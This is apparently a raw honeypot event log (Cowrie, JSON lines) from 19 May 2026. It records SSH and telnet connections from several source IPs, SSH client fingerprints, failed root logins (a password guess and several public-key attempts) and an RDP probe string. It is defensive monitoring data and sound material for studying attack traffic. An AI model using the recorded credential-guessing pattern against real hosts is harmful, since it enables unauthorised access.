{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:24.156492Z","src_ip":"103.183.114.55","session":"3b202905b18d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000001","message":"login attempt [root/000001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:24.833778Z","src_ip":"103.183.114.55","session":"3b202905b18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35660,"dst_ip":"10.17.0.5","dst_port":23,"session":"035af113d91f","protocol":"telnet","message":"New connection: 192.119.13.58:35660 (10.17.0.5:23) [session: 035af113d91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:25.444500Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36546,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb23083ab05","protocol":"telnet","message":"New connection: 192.119.13.58:36546 (10.17.0.5:23) [session: 1bb23083ab05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:25.634332Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:26.060248Z","src_ip":"103.183.114.55","session":"3b202905b18d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49470,"dst_ip":"10.17.0.5","dst_port":23,"session":"0420f5b39be7","protocol":"telnet","message":"New connection: 192.119.13.58:49470 (10.17.0.5:23) [session: 0420f5b39be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:28.831496Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50394,"dst_ip":"10.17.0.5","dst_port":23,"session":"be35fbbaa85b","protocol":"telnet","message":"New connection: 192.119.13.58:50394 (10.17.0.5:23) [session: be35fbbaa85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:29.088676Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86573c72a2a","protocol":"telnet","message":"New connection: 192.119.13.58:58984 (10.17.0.5:23) [session: d86573c72a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:31.162246Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54402,"dst_ip":"10.17.0.5","dst_port":23,"session":"b218edd2c3f7","protocol":"telnet","message":"New connection: 192.119.13.58:54402 (10.17.0.5:23) [session: b218edd2c3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:37.147140Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32850,"dst_ip":"10.17.0.5","dst_port":23,"session":"245c12d7f5a0","protocol":"telnet","message":"New connection: 192.119.13.58:32850 (10.17.0.5:23) [session: 245c12d7f5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:38.946562Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33888,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4a2fd782b67","protocol":"telnet","message":"New connection: 192.119.13.58:33888 (10.17.0.5:23) [session: a4a2fd782b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:46.583892Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42598,"dst_ip":"10.17.0.5","dst_port":23,"session":"435b64cc58ff","protocol":"telnet","message":"New connection: 192.119.13.58:42598 (10.17.0.5:23) [session: 435b64cc58ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:48.658582Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43852,"dst_ip":"10.17.0.5","dst_port":23,"session":"df7651692441","protocol":"telnet","message":"New connection: 192.119.13.58:43852 (10.17.0.5:23) [session: df7651692441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:48.913878Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51784,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb8d7bc8da9","protocol":"telnet","message":"New connection: 192.119.13.58:51784 (10.17.0.5:23) [session: 8bb8d7bc8da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:50.943805Z"}
{"eventid":"cowrie.session.closed","duration":38.185744524002075,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:51.022632Z","src_ip":"192.119.13.58","session":"b4b4d451444a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.197.44","src_port":45652,"dst_ip":"10.17.0.5","dst_port":22,"session":"30e8315ffd6f","protocol":"ssh","message":"New connection: 175.107.197.44:45652 (10.17.0.5:22) [session: 30e8315ffd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:52.130928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:52.135545Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:52.351418Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:f8:09:c6:b1:dd:64:19:7b:3c:55:8a:09:1a:65:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ2kLDsqq0TWHKBIug2/tm7tZna/eyU1R6OiYZPb6jBkY7cRXff/Aa+ZPuU+yCzoNA7Oz+UrxFLtDkE8g53KsjfVit5cj9Mw1g43rlwkQ0XhmzvpzCtzhV4w6tTYZ8RZ4yj0w7pLX91t7Xx39sJQL386OoW5PM5rmMxu48WKxWk/VR5MDXWLYeNp71EWsu20NqwyhHBDOS33E0JVz5QhHHVG3KwiVK5zrU6fbU0tcd9TSWa4Y8qAuNLKnbSLLopODr5nBC2bupRrgaB88jydL/GHBO9YvYi7ctXqVhBgu0iVSvVRk5IWErNSIlxwJfrjwndBKjz9qz8mNXGwVflyy1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:f8:09:c6:b1:dd:64:19:7b:3c:55:8a:09:1a:65:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.410133Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:f8:09:c6:b1:dd:64:19:7b:3c:55:8a:09:1a:65:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ2kLDsqq0TWHKBIug2/tm7tZna/eyU1R6OiYZPb6jBkY7cRXff/Aa+ZPuU+yCzoNA7Oz+UrxFLtDkE8g53KsjfVit5cj9Mw1g43rlwkQ0XhmzvpzCtzhV4w6tTYZ8RZ4yj0w7pLX91t7Xx39sJQL386OoW5PM5rmMxu48WKxWk/VR5MDXWLYeNp71EWsu20NqwyhHBDOS33E0JVz5QhHHVG3KwiVK5zrU6fbU0tcd9TSWa4Y8qAuNLKnbSLLopODr5nBC2bupRrgaB88jydL/GHBO9YvYi7ctXqVhBgu0iVSvVRk5IWErNSIlxwJfrjwndBKjz9qz8mNXGwVflyy1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.413567Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:c0:98:55:b8:5f:2f:0d:f6:81:e1:b9:5e:88:86:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB3+8f/Stv0iUNklBv2bX0YUJZKpb+qg7ZIrpbBcVtkkX1YEf6LDf5brH1ADEM5BLvvc0ygnmkqBWWrOJJVkWBz9zcGCooDpKd9fHmDaCYKc9y420CqXfWAZWFaI81o+VVjFkjBXSceqVm1P+5FN7YQiHqheIXKdu8bVMllUSD7WDe6XxGgjyaWKLfBdA50t3TOJqKGefRGwgDWSYzzcV3j/9JXLBq6Oshf2dwLfpElyNMVgO6Nql8JWV1TzIitcfTXv5Cgul/vEm+UITTb2I2nrmA/EBTlfBbCw5lDMWRg4ESRUAmUd2jxx/XfbZIcSKk5mQY/8aFbcpKbjtzF/55","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:c0:98:55:b8:5f:2f:0d:f6:81:e1:b9:5e:88:86:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.630446Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:c0:98:55:b8:5f:2f:0d:f6:81:e1:b9:5e:88:86:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB3+8f/Stv0iUNklBv2bX0YUJZKpb+qg7ZIrpbBcVtkkX1YEf6LDf5brH1ADEM5BLvvc0ygnmkqBWWrOJJVkWBz9zcGCooDpKd9fHmDaCYKc9y420CqXfWAZWFaI81o+VVjFkjBXSceqVm1P+5FN7YQiHqheIXKdu8bVMllUSD7WDe6XxGgjyaWKLfBdA50t3TOJqKGefRGwgDWSYzzcV3j/9JXLBq6Oshf2dwLfpElyNMVgO6Nql8JWV1TzIitcfTXv5Cgul/vEm+UITTb2I2nrmA/EBTlfBbCw5lDMWRg4ESRUAmUd2jxx/XfbZIcSKk5mQY/8aFbcpKbjtzF/55","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.634258Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.310994148254395,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.650136Z","src_ip":"192.119.13.58","session":"1aed327ff27b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":49950,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f884fcb1c0c","protocol":"telnet","message":"New connection: 186.195.16.41:49950 (159.203.135.109:23) [session: 7f884fcb1c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.777070Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:e2:f2:ac:96:e9:35:e6:b9:c8:62:cd:13:26:8c:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD1UdsfPCGLS8ZNirVBsOtH0Wq4SNPFDR6mkE8+qxAbYqLeX8Ovzw5okuW1+JVTaCMZxp8Pc7TtQEReEJn1oWLbfiWrFlWhDcrNqfVFzKxwZGrvyFuPHsmqBfxgeRT/pRt+l+8QU7l6fzokvADUMBWggJCeRTU77G4lPBATylC4T/V7KLyj1smtp4tjFzyV4KI+ZOEvWps5BAs4XLoxPD9fkvyaWtgzXgfYpBYLuAxORBZ6lsZjLTYCFQp/oNs4qJDPbUz0pqRqwOCFcZaUCv8ZqxATAjF+EWcwvWmO7sg+BSP82iXDW5lP6xiyA9gAUIIkqvMMTZFeA8d6mzdrX1JvFtDSxg3lx8l1vtVM/Tprqv7bizMYjPk3yxTGR1gVp+8AHcplUaru5C5JsQzTCfItbUBfq7Hy2XRyl+4KHx0R5ypdhdEnEK636SnkQJrnLTWqPX6DmC1Vj/Ys6Zjhkp508yiQ2S8RTwn43Uli9Z9Qy2gOCiOWXCN24EXHPgToEc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:e2:f2:ac:96:e9:35:e6:b9:c8:62:cd:13:26:8c:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.855684Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:e2:f2:ac:96:e9:35:e6:b9:c8:62:cd:13:26:8c:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD1UdsfPCGLS8ZNirVBsOtH0Wq4SNPFDR6mkE8+qxAbYqLeX8Ovzw5okuW1+JVTaCMZxp8Pc7TtQEReEJn1oWLbfiWrFlWhDcrNqfVFzKxwZGrvyFuPHsmqBfxgeRT/pRt+l+8QU7l6fzokvADUMBWggJCeRTU77G4lPBATylC4T/V7KLyj1smtp4tjFzyV4KI+ZOEvWps5BAs4XLoxPD9fkvyaWtgzXgfYpBYLuAxORBZ6lsZjLTYCFQp/oNs4qJDPbUz0pqRqwOCFcZaUCv8ZqxATAjF+EWcwvWmO7sg+BSP82iXDW5lP6xiyA9gAUIIkqvMMTZFeA8d6mzdrX1JvFtDSxg3lx8l1vtVM/Tprqv7bizMYjPk3yxTGR1gVp+8AHcplUaru5C5JsQzTCfItbUBfq7Hy2XRyl+4KHx0R5ypdhdEnEK636SnkQJrnLTWqPX6DmC1Vj/Ys6Zjhkp508yiQ2S8RTwn43Uli9Z9Qy2gOCiOWXCN24EXHPgToEc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:53.860661Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:7b:03:2f:b4:77:61:e6:44:1c:a2:39:7e:4c:b9:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3IfaCJQ9C+AfBWrXjShh6reedZ+yT0DuZX2i2IrkLugYcQAn10h0SCl3sChVVeSL5OZSP1OkZqEF9HeVagskRn3NRkt+zKW4qL9bPpfxEWMlMCOKC+SWTCBtNBYjiOlZOhX6rSVmr++R8yi687Su423xKMaWRrMKJE6w/90tchOdLSPhh5u/lRGgz1TUFBF7hA4EvX885qCI0WxoUZub6lJ+Dd/VKHqZa8cgAuqB6TdiCEi5elrJKmy1BIpeZvkBYbQ9xTTVWCD2x4/nIjGgTxPmwZ1J11MwwEmc/DhZk1z2/KCRCLynmnM6PIB4iAlKKNaoDGhCqeYQzUhNvZrhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:7b:03:2f:b4:77:61:e6:44:1c:a2:39:7e:4c:b9:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:54.078625Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:7b:03:2f:b4:77:61:e6:44:1c:a2:39:7e:4c:b9:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3IfaCJQ9C+AfBWrXjShh6reedZ+yT0DuZX2i2IrkLugYcQAn10h0SCl3sChVVeSL5OZSP1OkZqEF9HeVagskRn3NRkt+zKW4qL9bPpfxEWMlMCOKC+SWTCBtNBYjiOlZOhX6rSVmr++R8yi687Su423xKMaWRrMKJE6w/90tchOdLSPhh5u/lRGgz1TUFBF7hA4EvX885qCI0WxoUZub6lJ+Dd/VKHqZa8cgAuqB6TdiCEi5elrJKmy1BIpeZvkBYbQ9xTTVWCD2x4/nIjGgTxPmwZ1J11MwwEmc/DhZk1z2/KCRCLynmnM6PIB4iAlKKNaoDGhCqeYQzUhNvZrhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:54.082996Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:93:9f:57:44:65:59:26:40:ee:1e:0b:67:c5:49:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwD+7JachqdhIDBW9MeDxnpXceYbtSl8UP+exRBgnG9misDTXXlVkOb7JfEZ2jcIoyIVUH8KU5dihLrS07fUn2r8+YtNRJg2mfcgBhSuTEQoUBLvDAyirS4XHyrzbxji9K7UGku3RPtYVYC+UGxxEDlPPfMrNBdle16Cc0sm0hJ6WV/fi3x5/TRtOAdeDDdjGsoVZSaNktksmNNDyRG+8w7WxQzImmY8t3r/p3AlIOiObB91xwrC+6ckOJNH9rU12NKo0FtQlgx20GP4PMjyuaYfHPsiKDvBXCSam1j8SLWtgizB2DFNF5vpoB7n73E4XR4usKWPDWzLPU3tuloKveQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:93:9f:57:44:65:59:26:40:ee:1e:0b:67:c5:49:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:54.300022Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:93:9f:57:44:65:59:26:40:ee:1e:0b:67:c5:49:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwD+7JachqdhIDBW9MeDxnpXceYbtSl8UP+exRBgnG9misDTXXlVkOb7JfEZ2jcIoyIVUH8KU5dihLrS07fUn2r8+YtNRJg2mfcgBhSuTEQoUBLvDAyirS4XHyrzbxji9K7UGku3RPtYVYC+UGxxEDlPPfMrNBdle16Cc0sm0hJ6WV/fi3x5/TRtOAdeDDdjGsoVZSaNktksmNNDyRG+8w7WxQzImmY8t3r/p3AlIOiObB91xwrC+6ckOJNH9rU12NKo0FtQlgx20GP4PMjyuaYfHPsiKDvBXCSam1j8SLWtgizB2DFNF5vpoB7n73E4XR4usKWPDWzLPU3tuloKveQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:54.303743Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:54.522690Z","src_ip":"175.107.197.44","session":"30e8315ffd6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.56979036331177,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:59.567061Z","src_ip":"192.119.13.58","session":"a3f7634bdbd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.76947784423828,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:59.643537Z","src_ip":"192.119.13.58","session":"70f2520e1392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.79338026046753,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:59.660974Z","src_ip":"192.119.13.58","session":"875cb02b17c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86143255233765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:28:59.797213Z","src_ip":"192.119.13.58","session":"803af8291969","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64241,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcc6234adfc8","protocol":"ssh","message":"New connection: 152.42.212.128:64241 (10.17.0.5:22) [session: fcc6234adfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:02.218476Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:02.224022Z","src_ip":"152.42.212.128","session":"fcc6234adfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:02.228288Z","src_ip":"152.42.212.128","session":"fcc6234adfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.93868827819824,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:02.382921Z","src_ip":"192.119.13.58","session":"035af113d91f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.504719495773315,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:02.494363Z","src_ip":"192.119.13.58","session":"0268025cff59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54832,"dst_ip":"10.17.0.5","dst_port":23,"session":"10ddc9e6a9d0","protocol":"telnet","message":"New connection: 192.119.13.58:54832 (10.17.0.5:23) [session: 10ddc9e6a9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:05.202214Z"}
{"eventid":"cowrie.session.closed","duration":0.005754232406616211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:05.207809Z","src_ip":"192.119.13.58","session":"10ddc9e6a9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.67053985595703,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:05.759094Z","src_ip":"192.119.13.58","session":"be35fbbaa85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.64237928390503,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:06.276602Z","src_ip":"192.119.13.58","session":"1bb23083ab05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55558,"dst_ip":"10.17.0.5","dst_port":22,"session":"266ed76d409b","protocol":"ssh","message":"New connection: 80.94.92.184:55558 (10.17.0.5:22) [session: 266ed76d409b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:08.788717Z"}
